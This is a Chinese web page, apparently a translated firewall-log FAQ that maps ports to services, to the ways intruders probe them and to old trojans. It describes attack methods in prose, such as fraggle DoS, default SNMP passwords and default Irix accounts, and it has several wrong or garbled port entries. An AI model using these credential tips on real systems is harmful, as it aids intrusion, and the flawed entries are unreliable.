<P>&nbsp; 7Echo你能看到许多人们搜索Fraggle放大器时，发送到x.x.x.0和x.x.x.255的信息。常见的一种DoS攻击是echo循环（echo-loop），攻击者伪造从一个机器发送到另一个UDP数据包，而两个机器分别以它们最快的方式回应这些数据包。（参见Chargen） 另一种东西是由DoubleClick在词端口建立的TCP连接。有一种产品叫做Resonate Global Dispatch”，它与DNS的这一端口连接以确定最近的路由。Harvest/squid cache将从3130端口发送UDPecho：“如果将cache的source_ping on选项打开，它将对原始主机的UDP echo端口回应一个HIT reply。”这将会产生许多这类数据包。 </P>
<P>&nbsp; 11 sysstat这是一种UNIX服务，它会列出机器上所有正在运行的进程以及是什么启动了这些进程。这为入侵者提供了许多信息而威胁机器的安全，如暴露已知某些弱点或帐户的程序。这与UNIX系统中“ps”命令的结果相似再说一遍：ICMP没有端口，ICMP port 11通常是ICMPtype=1119 chargen 这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时，会发送含有垃圾字符的数据流知道连接关闭。Hacker利用IP欺骗可以发动DoS攻击伪造两 个chargen服务器之间的UDP由于服务器企图回应两个服务器之间的无限的往返数据通讯一个chargen和echo将导致服务器过载。同样fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。 </P>
<P>&nbsp; 21 ftp最常见的攻击者用于寻找打开“anonymous”的ftp服务器的方法。这些服务器带有可读写的目录。Hackers或tackers利用这些服务器作为传送warez (私有程序) 和pr0n(故意拼错词而避免被搜索引擎分类)的节点。 </P>
<P>&nbsp; 22 sshPcAnywhere建立TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点。如果配置成特定的模式，许多使用RSAREF库的版本有不少漏洞。（建议在其它端口运行ssh）还应该注意的是ssh工具包带有一个称为ake-ssh-known-hosts的程序。它会扫描整个域的ssh主机。你有时会被使用这一程序的人无意中扫描到。UDP（而不是TCP）与另一端的5632端口相连意味着存在搜索pcAnywhere的扫描。5632 （十六进制的0x1600）位交换后是0x0016（使进制的22）。 </P>
<P>&nbsp; 23 Telnet入侵者在搜索远程登陆UNIX的服务。大多数情况下入侵者扫描这一端口是为了找到机器运行的*作系统。此外使用其它技术，入侵者会找到密码。 </P>
<P>&nbsp; 25 smtp攻击者（spammer）寻找SMTP服务器是为了传递他们的spam。入侵者的帐户总被关闭，他们需要拨号连接到高带宽的e-mail服务器上，将简单的信息传递到不同的地址。SMTP服务器（尤其是sendmail）是进入系统的最常用方法之一，因为它们必须完整的暴露于Internet且邮件的路由是复杂的（暴露+复杂=弱点）。 </P>
<P>&nbsp; 53 DNSHacker或crackers可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其它通讯。因此防火墙常常过滤或记录53端口。 需要注意的是你常会看到53端口做为UDP源端口。不稳定的防火墙通常允许这种通讯并假设这是对DNS查询的回复。Hacker常使用这种方法穿透防火墙。 </P>
<P>&nbsp; 67和68 Bootp和DHCPUDP上的Bootp/DHCP：通过DSL和cable-modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址分配。Hacker常进入它们分配一个地址把自己作为局部路由器而发起大量的“中间人”（man-in-middle）攻击。客户端向68端口（bootps）广播请求配置，服务器向67端口（bootpc）广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。</P>
<P>&nbsp; 69 TFTP(UDP) 许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常错误配置而从系统提供任何文件，如密码文件。它们也可用于向系统写入文件。 </P>
<P>&nbsp; 79 finger Hacker用于获得用户信息，查询*作系统，探测已知的缓冲区溢出错误，回应从自己机器到其它机器finger扫描。 </P>
<P>&nbsp; 98 linuxconf 这个程序提供linuxboxen的简单管理。通过整合的HTTP服务器在98端口提供基于Web界面的服务。它已发现有许多安全问题。一些版本setuidroot，信任局域网，在/tmp下建立Internet可访问的文件，LANG环境变量有缓冲区溢出。 此外因为它包含整合的服务器，许多典型的HTTP漏洞可能存在（缓冲区溢出，历遍目录等）</P>
<P>&nbsp; 109 POP2并不象POP3那样有名，但许多服务器同时提供两种服务（向后兼容）。在同一个服务器上POP3的漏洞在POP2中同样存在。 </P>
<P>&nbsp; 110 POP3用于客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交换缓冲区溢出的弱点至少有20个（这意味着Hacker可以在真正登陆前进入系统）。成功登陆后还有其它缓冲区溢出错误。 </P>
<P>&nbsp; 111 sunrpc portmap rpcbind Sun RPCPortMapper/RPCBIND。访问portmapper是扫描系统查看允许哪些RPC服务的最早的一步。常 见RPC服务有：pc.mountd, NFS, rpc.statd, rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供 服务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer，你可以发现入侵者正使用什么程序访问以便发现到底发生了什么。 </P>
<P>&nbsp; 113 Ident auth .这是一个许多机器上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多机器的信息（会被Hacker利用）。但是它可作为许多服务的记录器，尤其是FTP, POP, IMAP, SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，你将会看到许多这个端口的连接请求。记住，如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。许多防火墙支持在TCP连接的阻断过程中发回T，着将回停止这一缓慢的连接。 </P>
<P>&nbsp; 119 NNTP news新闻组传输协议，承载USENET通讯。当你链接到诸如：<A href="news:p.security.firewalls/"><FONT color=#336699>news:p.security.firewalls/</FONT></A>. 的地址时通常使用这个端口。这个端口的连接企图通常是人们在寻找USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送spam。 </P>
<P>&nbsp; 135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC end- point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用 机器上的end-point mapper注册它们的位置。远端客户连接到机器时，它们查询end-point mapper找到服务的位置。同样Hacker扫描机器的这个端口是为了找到诸如：这个机器上运 行Exchange Server吗？是什么版本？ 这个端口除了被用来查询服务（如使用epdump）还可以被用于直接攻击。有一些DoS攻击直接针对这个端口。 </P>
<P>&nbsp; 137 NetBIOS name service nbtstat (UDP)这是防火墙管理员最常见的信息，请仔细阅读文章后面的NetBIOS一节 139 NetBIOS　File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能是最常见的问题。 大量针对这一端口始于1999，后来逐渐变少。2000年又有回升。一些VBS（IE5 VisualBasicScripting）开始将它们自己拷贝到这个端口，试图在这个端口繁殖。 </P>
<P>&nbsp; 143 IMAP和上面POP3的安全问题一样，许多IMAP服务器有缓冲区溢出漏洞运行登陆过程中进入。记住：一种Linux蠕虫（admw0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已被感染的用户。当RadHat在他们的Linux发布版本中默认允许IMAP后，这些漏洞变得流行起来。Morris蠕虫以后这还是第一次广泛传播的蠕虫。这一端口还被用于IMAP2，但并不流行。 已有一些报道发现有些0到143端口的攻击源于脚本。 </P>
<P>&nbsp; 161 SNMP(UDP)入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都储存在数据库中，通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers将试图使用缺省的密码“public”“private”访问系统。他们可能会试验所有可能的组合。 SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect rmote management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用SNMP解析域名，你会看见这种包在子网内广播（cable modem, DSL）查询sysName和其它信息。 </P>
<P>&nbsp; 162 SNMP trap 可能是由于错误配置。 </P>
<P>&nbsp; 177 xdmcp 许多Hacker通过它访问X-Windows控制台，它同时需要打开6000端口。 </P>
<P>&nbsp; 513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这些人为Hacker进入他们的系统提供了很有趣的信息。 </P>
<P>&nbsp; 553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN，你将会看到这个端口的广播。CORBA是一种面向对象的RPC（remote procedure call）系统。Hacker会利用这些信息进入系统。 </P>
<P>&nbsp; 600 Pcserver backdoor 请查看1524端口一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统-- Alan J. Rosenthal. </P>
<P>&nbsp; 635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口的扫描是基于UDP的，但基于TCP 的mountd有所增加（mountd同时运行于两个端口）。记住，mountd可运行于任何端口（到底在哪个端口，需要在端口111做portmap查询），只是Linux默认为635端口，就象NFS通常运行于2049端口1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个端口连接网络，它们请求*作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。这意味着第一个向系统请求分配动态端口的程序将被分配端口1024。为了验证这一点，你可以重启机器，打开Telnet，再打开一个窗口运行“natstat -a”，你将会看到Telnet被分配1024端口。请求的程序越多，动态端口也越多。*作系统分配的端口将逐渐变大。再来一遍，当你浏览Web页时用“netstat”查看，每个Web页需要一个新端口。</P>
<P>1080 SOCKS 这一协议以管道方式穿过防火墙，允许防火墙后面的许多人通过一个IP地址访问Internet。理论上它应该只允许内部的通信向外达到Internet。但是由于错误的配置，它会允许Hacker/Cracker的位于防火墙外部的攻击穿过防火墙。或者简单地回应位于Internet上的计算机，从而掩饰他们对你的直接攻击。WinGate是一种常见的Windows个人防火墙，常会发生上述的错误配置。在加入IRC聊天室时常会看到这种情况。 </P>
<P>&nbsp; 1114 SQL 系统本身很少扫描这个端口，但常常是sscan脚本的一部分。 </P>
<P>&nbsp; 1524 ingreslock后门 许多攻击脚本将安装一个后门Sh*ll 于这个端口（尤其是那些针对Sun系统中Sendmail和RPC服务漏洞的脚本，如statd,ttdbserver和cmsd）。如果你刚刚安装了你的防火墙就看到在这个端口上的连接企图，很可能是上述原因。你可以试试Telnet到你的机器上的这个端口，看看它是否会给你一个Sh*ll 。连接到600/pcserver也存在这个问题。 </P>
<P>&nbsp; 2049 NFS NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口，可以闭开portmapper直接测试这个端口。 </P>
<P>&nbsp; 3128 squid 这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。你也会看到搜索其它代理服务器的端口： <BR>000/8001/8080/8888。扫描这一端口的另一原因是：用户正在进入聊天室。其它用户（或服务器本身）也会检验这个端口以确定用户的机器是否支持代理。 </P>
<P>&nbsp; 5632 pcAnywere你会看到很多这个端口的扫描，这依赖于你所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能得代理（译者：指agent而不是proxy）。Hacker/cracker也会寻找开放这种服务的机器，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数据包。参见拨号扫描。 </P>
<P>&nbsp; 6776 Sub-7 artifact 这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线控制另一台机器，而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时，他们将会看到持续的，在这个端口的连接企图。（译者：即看到防火墙报告这一端口的连接企图时，并不表示你已被Sub-7控制。）</P>
<P>&nbsp; 6970 RealAudio RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口外向控制连接设置13223 PowWow PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的接。这一程序对于建立连接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔的连接企图。如果你是一个拨号用户，从另一个聊天者手中“继承”了IP地址这种情况就会发生：好象很多不同的人在测试这一端口。这一协议使用“OPNG”作为其连接企图的前四个字节。 </P>
<P>&nbsp; 17027 Conducent这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软件。 Conducent "adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有人试验：阻断这一外向连接不会有任何问题，但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多次而导致连接过载： 机器会不断试图解析DNS名─ads.conducent.com，即IP地址216.33.210.40 ； <BR>216.33.199.77 ；216.33.199.80 ；216.33.199.81；216.33.210.41。（译者：不知NetAnts使用的Radiate是否也有这种现象） </P>
<P>&nbsp; 30100 NetSphere木马(TCP) 通常这一端口的扫描是为了寻找中了NetSphere木马。 </P>
<P>&nbsp; 31337 Back Orifice “eliteHacker中31337读做“elite”/ei’li:t/（译者：法语，译为中坚力量，精华。即 3=E, 1=L, 7=T）。因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这是Internet上最常见的扫描。现在它的流行越来越少，其它的 木马程序越来越流行。 </P>
<P>&nbsp; 31789 Hack-a-tack 这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马（RAT,Remote Access Trojan）。这种木马包含内置的31790端口扫描器，因此任何31789端口到317890端口的连 接意味着已经有这种入侵。（31789端口是控制连接，317890端口是文件传输连接） </P>
<P>&nbsp; 32770~32900 RPC服务 Sun Solaris的RPC服务在这一范围内。详细的说：早期版本的Solaris（2.5.1之前）将 portmapper置于这一范围内，即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。 扫描这一范围内的端口不是为了寻找portmapper，就是为了寻找可被攻击的已知的RPC服务。 <BR>33434~33600 traceroute 如果你看到这一端口范围内的UDP数据包（且只在此范围之内）则可能是由于traceroute。 </P>
<P>&nbsp; 41508 Inoculan早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此。参见 <BR><A href="http://www.circlemud.org/~jelson/software/udpsend.html"><FONT color=#336699>http://www.circlemud.org/~jelson/software/udpsend.html</FONT></A> <BR><A href="http://www.ccd.bnl.gov/nss/tips/inoculan/index.html"><FONT color=#336699>http://www.ccd.bnl.gov/nss/tips/inoculan/index.html</FONT></A></P>
<P>&nbsp; 端口1~1024是保留端口，所以它们几乎不会是源端口。但有一些例外，例如来自NAT机器的连接。 常看见紧接着1024的端口，它们是系统分配给那些并不在乎使用哪个端口连接的应用程序的“动态端口”。 </P>
<P>Server Client 服务描述 <BR>1-5/tcp 动态 FTP 1-5端口意味着sscan脚本 <BR>20/tcp 动态 FTP FTP服务器传送文件的端口 <BR>53 动态 FTP DNS从这个端口发送UDP回应。你也可能看见源/目标端口的TCP连接。 <BR>123 动态 S/NTP 简单网络时间协议（S/NTP）服务器运行的端口。它们也会发送到这个端口的广播。 <BR>27910~27961/udp 动态 Quake Quake或Quake引擎驱动的游戏在这一端口运行其服务器。因此来自这一端口范围的UDP包或发送至这一端口范围的UDP包通常是游戏。 <BR>61000以上 动态 FTP 61000以上的端口可能来自Linux NAT服务器</P>
<P>常用端口对照<BR>端口：0 <BR>服务：Reserved <BR>说明：通常用于分析*作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描，使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。 </P>
<P>端口：1 <BR>服务：tcpmux <BR>说明：这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户，如：IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。 </P>
<P>端口：7 <BR>服务：Echo <BR>说明：能看到许多人搜索Fraggle放大器时，发送到X.X.X.0和X.X.X.255的信息。 </P>
<P>端口：19 <BR>服务：Character Generator <BR>说明：这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。 </P>
<P>端口：21 <BR>服务：FTP <BR>说明：FTP服务器所开放的端口，用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。 </P>
<P>端口：22 <BR>服务：Ssh <BR>说明：PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点，如果配置成特定的模式，许多使用RSAREF库的版本就会有不少的漏洞存在。 </P>
<P>端口：23 <BR>服务：Telnet <BR>说明：远程登录，入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的*作系统。还有使用其他技术，入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。 </P>
<P>端口：25 <BR>服务：SMTP <BR>说明：SMTP服务器所开放的端口，用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭，他们需要连接到高带宽的E-MAIL服务器上，将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。 </P>
<P>端口：31 <BR>服务：MSG Authentication <BR>说明：木马Master Paradise、Hackers Paradise开放此端口。 </P>
<P>端口：42 <BR>服务：WINS Replication <BR>说明：WINS复制 </P>
<P>端口：53 <BR>服务：Domain Name Server（DNS） <BR>说明：DNS服务器所开放的端口，入侵者可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其他的通信。因此防火墙常常过滤或记录此端口。 </P>
<P>端口：67 <BR>服务：Bootstrap Protocol Server <BR>说明：通过DSL和Cable modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址。HACKER常进入它们，分配一个地址把自己作为局部路由器而发起大量中间人（man-in-middle）攻击。客户端向68端口广播请求配置，服务器向67端口广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。 </P>
<P>端口：69 <BR>服务：Trival File Transfer <BR>说明：许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何 文件。它们也可用于系统写入文件。 </P>
<P>端口：79 <BR>服务：Finger Server <BR>说明：入侵者用于获得用户信息，查询*作系统，探测已知的缓冲区溢出错误，回应从自己机器到其他机器Finger扫描。 </P>
<P>端口：80 <BR>服务：HTTP <BR>说明：用于网页浏览。木马Executor开放此端口。 </P>
<P>端口：99 <BR>服务：Metagram Relay <BR>说明：后门程序ncx99开放此端口。 </P>
<P>端口：102 <BR>服务：Message transfer agent(MTA)-X.400 over TCP/IP <BR>说明：消息传输代理。 </P>
<P>端口：109 <BR>服务：Post Office Protocol -Version3 <BR>说明：POP3服务器开放此端口，用于接收邮件，客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个，这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。 </P>
<P>端口：110 <BR>服务：SUN公司的RPC服务所有端口 <BR>说明：常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等 </P>
<P>端口：113 <BR>服务：Authentication Service <BR>说明：这是一个许多计算机上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多计算机的信息。但是它可作为许多服务的记录器，尤其是FTP、POP、IMAP、SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，将会看到许多这个端口的连接请求。记住，如果阻断这个端口客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。这将会停止缓慢的连接。 </P>
<P>端口：119 <BR>服务：Network News Transfer Protocol <BR>说明：NEWS新闻组传输协议，承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制，只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送SPAM。 </P>
<P>端口：135 <BR>服务：Location Service <BR>说明：Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时，它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗？什么版本？还有些DOS攻击直接针对这个端口。 </P>
<P>端口：137、138、139 <BR>服务：NETBIOS Name Service <BR>说明：其中137、138是UDP端口，当通过网上邻居传输文件时用这个端口。而139端口：通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。 </P>
<P>端口：143 <BR>服务：Interim Mail Access Protocol v2 <BR>说明：和POP3的安全问题一样，许多IMAP服务器存在有缓冲区溢出漏洞。记住：一种LINUX蠕虫（admv0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已经被感染的用户。当REDHAT在他们的LINUX发布版本中默认允许IMAP后，这些漏洞变的很流行。这一端口还被用于IMAP2，但并不流行。 </P>
<P>端口：161 <BR>服务：SNMP <BR>说明：SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中，通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。 </P>
<P>端口：177 <BR>服务：X Display Manager Control Protocol <BR>说明：许多入侵者通过它访问X-windows*作台，它同时需要打开6000端口。 </P>
<P>端口：389 <BR>服务：LDAP、ILS <BR>说明：轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。 </P>
<P>端口：443 <BR>服务：Https <BR>说明：网页浏览端口，能提供加密和通过安全端口传输的另一种HTTP。 </P>
<P>端口：456 <BR>服务：[NULL] <BR>说明：木马HACKERS PARADISE开放此端口。 </P>
<P>端口：513 <BR>服务：Login,remote login <BR>说明：是从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。这些人为入侵者进入他们的系统提供了信息。 </P>
<P>端口：544 <BR>服务：[NULL] <BR>说明：kerberos kshell </P>
<P>端口：548 <BR>服务：Macintosh,File Services(AFP/IP) <BR>说明：Macintosh,文件服务。 </P>
<P>端口：553 <BR>服务：CORBA IIOP （UDP） <BR>说明：使用cable modem、DSL或VLAN将会看到这个端口的广播。CORBA是一种面向对象的RPC系统。入侵者可以利用这些信息进入系统。 </P>
<P>端口：555 <BR>服务：DSF <BR>说明：木马PhAse1.0、Stealth Spy、IniKiller开放此端口。 </P>
<P>端口：568 <BR>服务：Membership DPA <BR>说明：成员资格 DPA。 </P>
<P>端口：569 <BR>服务：Membership MSN <BR>说明：成员资格 MSN。 </P>
<P>端口：635 <BR>服务：mountd <BR>说明：Linux的mountd Bug。这是扫描的一个流行BUG。大多数对这个端口的扫描是基于UDP的，但是基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住mountd可运行于任何端口（到底是哪个端口，需要在端口111做portmap查询），只是Linux默认端口是635，就像NFS通常运行于2049端口。 </P>
<P>端口：636 <BR>服务：LDAP <BR>说明：SSL（Secure Sockets layer） </P>
<P>端口：666 <BR>服务：Doom Id Software <BR>说明：木马Attack FTP、Satanz Backdoor开放此端口 </P>
<P>端口：993 <BR>服务：IMAP <BR>说明：SSL（Secure Sockets layer） </P>
<P>端口：1001、1011 <BR>服务：[NULL] <BR>说明：木马Silencer、WebEx开放1001端口。木马Doly Trojan开放1011端口。 </P>
<P>端口：1024 <BR>服务：Reserved <BR>说明：它是动态端口的开始，许多程序并不在乎用哪个端口连接网络，它们请求系统为它们分配下一个闲置端口。基于这一点分配从端口1024开始。这就是说第一个向系统发出请求的会分配到1024端口。你可以重启机器，打开Telnet，再打开一个窗口运行natstat -a 将会看到Telnet被分配1024端口。还有SQL session也用此端口和5000端口。 </P>
<P>端口：1025、1033 <BR>服务：1025：network blackjack 1033：[NULL] <BR>说明：木马netspy开放这2个端口。 </P>
<P>端口：1080 <BR>服务：SOCKS <BR>说明：这一协议以通道方式穿过防火墙，允许防火墙后面的人通过一个IP地址访问INTERNET。理论上它应该只允许内部的通信向外到达INTERNET。但是由于错误的配置，它会允许位于防火墙外部的攻击穿过防火墙。WinGate常会发生这种错误，在加入IRC聊天室时常会看到这种情况。<BR>端口：1170 <BR>服务：[NULL] <BR>说明：木马Streaming Audio Trojan、Psyber Stream Server、Voice开放此端口。 </P>
<P>端口：1234、1243、6711、6776 <BR>服务：[NULL] <BR>说明：木马SubSeven2.0、Ultors Trojan开放1234、6776端口。木马SubSeven1.0/1.9开放1243、6711、6776端口。 </P>
<P>端口：1245 <BR>服务：[NULL] <BR>说明：木马Vodoo开放此端口。 </P>
<P>端口：1433 <BR>服务：SQL <BR>说明：Microsoft的SQL服务开放的端口。 </P>
<P>端口：1492 <BR>服务：stone-design-1 <BR>说明：木马FTP99CMP开放此端口。 </P>
<P>端口：1500 <BR>服务：RPC client fixed port session queries <BR>说明：RPC客户固定端口会话查询 </P>
<P>端口：1503 <BR>服务：NetMeeting T.120 <BR>说明：NetMeeting T.120 </P>
<P>端口：1524 <BR>服务：ingress <BR>说明：许多攻击脚本将安装一个后门SHELL于这个端口，尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本。如果刚安装了防火墙就看到在这个端口上的连接企图，很可能是上述原因。可以试试Telnet到用户的计算机上的这个端口，看看它是否会给你一个SHELL。连接到600/pcserver也存在这个问题。 </P>
<P>端口：1600 <BR>服务：issd <BR>说明：木马Shivka-Burka开放此端口。 </P>
<P>端口：1720 <BR>服务：NetMeeting <BR>说明：NetMeeting H.233 call Setup。 </P>
<P>端口：1731 <BR>服务：NetMeeting Audio Call Control <BR>说明：NetMeeting音频调用控制。</P>
<P>端口：1807 <BR>服务：[NULL] <BR>说明：木马SpySender开放此端口。 </P>
<P>端口：1981 <BR>服务：[NULL] <BR>说明：木马ShockRave开放此端口。 </P>
<P>端口：1999 <BR>服务：cisco identification port <BR>说明：木马BackDoor开放此端口。 </P>
<P>端口：2000 <BR>服务：[NULL] <BR>说明：木马GirlFriend 1.3、Millenium 1.0开放此端口。 </P>
<P>端口：2001 <BR>服务：[NULL] <BR>说明：木马Millenium 1.0、Trojan Cow开放此端口。 </P>
<P>端口：2023 <BR>服务：xinuexpansion 4 <BR>说明：木马Pass Ripper开放此端口。 </P>
<P>端口：2049 <BR>服务：NFS <BR>说明：NFS程序常运行于这个端口。通常需要访问Portmapper查询这个服务运行于哪个端口。 </P>
<P>端口：2115 <BR>服务：[NULL] <BR>说明：木马Bugs开放此端口。 </P>
<P>端口：2140、3150 <BR>服务：[NULL] <BR>说明：木马Deep Throat 1.0/3.0开放此端口。 </P>
<P>端口：2500 <BR>服务：RPC client using a fixed port session replication <BR>说明：应用固定端口会话复制的RPC客户 </P>
<P>端口：2583 <BR>服务：[NULL] <BR>说明：木马Wincrash 2.0开放此端口。 </P>
<P>端口：2801 <BR>服务：[NULL] <BR>说明：木马Phineas Phucker开放此端口。 </P>
<P>端口：3024、4092 <BR>服务：[NULL] <BR>说明：木马WinCrash开放此端口。 </P>
<P>端口：3128 <BR>服务：squid <BR>说明：这是squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。也会看到搜索其他代理服务器的端口8000、8001、8080、8888。扫描这个端口的另一个原因是用户正在进入聊天室。其他用户也会检验这个端口以确定用户的机器是否支持代理。 </P>
<P>端口：3129 <BR>服务：[NULL] <BR>说明：木马Master Paradise开放此端口。 </P>
<P>端口：3150 <BR>服务：[NULL] <BR>说明：木马The Invasor开放此端口。 </P>
<P>端口：3210、4321 <BR>服务：[NULL] <BR>说明：木马SchoolBus开放此端口 </P>
<P>端口：3333 <BR>服务：dec-notes <BR>说明：木马Prosiak开放此端口 </P>
<P>端口：3389 <BR>服务：超级终端 <BR>说明：WINDOWS 2000终端开放此端口。 </P>
<P>端口：3700 <BR>服务：[NULL] <BR>说明：木马Portal of Doom开放此端口 </P>
<P>端口：3996、4060 <BR>服务：[NULL] <BR>说明：木马RemoteAnything开放此端口 </P>
<P>端口：4000 <BR>服务：QQ客户端 <BR>说明：腾讯QQ客户端开放此端口。 </P>
<P>端口：4092 <BR>服务：[NULL] <BR>说明：木马WinCrash开放此端口。 </P>
<P>端口：4590 <BR>服务：[NULL] <BR>说明：木马ICQTrojan开放此端口。 </P>
<P>端口：5000、5001、5321、50505 <BR>服务：[NULL] <BR>说明：木马blazer5开放5000端口。木马Sockets de Troie开放5000、5001、5321、50505端口。 </P>
<P>端口：5400、5401、5402 <BR>服务：[NULL] <BR>说明：木马Blade Runner开放此端口。 </P>
<P>端口：5550 <BR>服务：[NULL] <BR>说明：木马xtcp开放此端口。 </P>
<P>端口：5569 <BR>服务：[NULL] <BR>说明：木马Robo-Hack开放此端口。 </P>
<P>端口：5632 <BR>服务：pcAnywere <BR>说明：有时会看到很多这个端口的扫描，这依赖于用户所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能的代理（这里的代理是指agent而不是proxy）。入侵者也会寻找开放这种服务的计算机。，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描包常含端口22的UDP数据包。 </P>
<P>端口：5742 <BR>服务：[NULL] <BR>说明：木马WinCrash1.03开放此端口。 </P>
<P>端口：6267 <BR>服务：[NULL] <BR>说明：木马广外女生开放此端口。 </P>
<P>端口：6400 <BR>服务：[NULL] <BR>说明：木马The tHing开放此端口。 </P>
<P>端口：6670、6671 <BR>服务：[NULL] <BR>说明：木马Deep Throat开放6670端口。而Deep Throat 3.0开放6671端口。 </P>
